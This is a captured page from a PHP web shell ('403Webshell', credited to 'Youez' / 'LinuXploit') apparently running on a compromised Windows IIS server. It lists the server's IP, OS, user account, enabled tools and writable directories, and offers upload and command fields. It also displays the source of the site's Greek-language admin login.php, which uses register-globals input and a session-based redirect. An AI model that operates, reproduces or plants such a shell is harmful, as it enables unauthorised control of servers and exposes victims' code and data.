403Webshell
Server IP : 195.130.67.5  /  Your IP : 216.73.216.231
Web Server : Microsoft-IIS/10.0
System : Windows NT WEBSERVER1 10.0 build 17763 (Windows Server 2016) i586
User : IUSR ( 0)
PHP Version : 7.4.19
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/inetpub/wwwroot/Civil/control/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : C:/inetpub/wwwroot/Civil/control/login.php
<?
session_start();

require_once('../includes/DbConnector.php');
require_once("../includes/UserSession.php");

$connector = new DbConnector;
$session = new UserSession($connector);

require_once("../includes/RegisterGlobals.php");

if (isset($login))
{
		if ($session->login($username, $password, true))
		{
			$session->insertlog("Σύνδεση στο Back-end σύστημα");
			
			if (isset($_SESSION['cms_request_uri']))
				$redirect_page = $_SESSION['cms_request_uri'];
			else
				$redirect_page = "index.php";
			
			header('Location: '.$redirect_page); //if they successfully log in then send them to the url they requested which is something I have set in the header
			exit;
		}
		else
		{
			$session->insertlog("Αποτυχημένη προσπάθεια σύνδεσης στο Back-end σύστημα");
			
			$login_error = true;
		}
}

require_once("header.php")
?>

<body onload="javascript:document.loginform.username.focus();">
<div id="container">
	<div id="header">
		<h1><?=$_SESSION['cms_site_title']?></h1>
		<h2>ΠΙΝΑΚΑΣ ΔΙΑΧΕΙΡΙΣΗΣ</h2>
	</div>
	<div id="userinfo"></div>
	<div id="content">
			<? 
				if ($login_error)
					echo '<div class="notification error"><div>Το όνομα χρήστη ή ο κωδικός ήταν λανθασμένος!</div></div>';
			?>
		<div id="userlogin">
			<p>Δώστε τα στοιχεία σύνδεσης στον Πίνακα Διαχείρισης:</p>			
			<form method="post" action="<?=$pagename?>" name="loginform" id="loginform">
				<div><label for="username">Όνομα χρήστη:</label><input type='text' name='username' id="username"></div>
				<div><label for="password">Κωδικός:</label><input type='password' name='password' id="password"></div>
				<div><input type='submit' value='Είσοδος' name='login' class="button"></div>
			</form>
		</div>
	</div>	<!-- content -->
</div>	<!-- container -->

<?
require_once("footer.php")
?>

Youez - 2016 - github.com/yon3zu
LinuXploit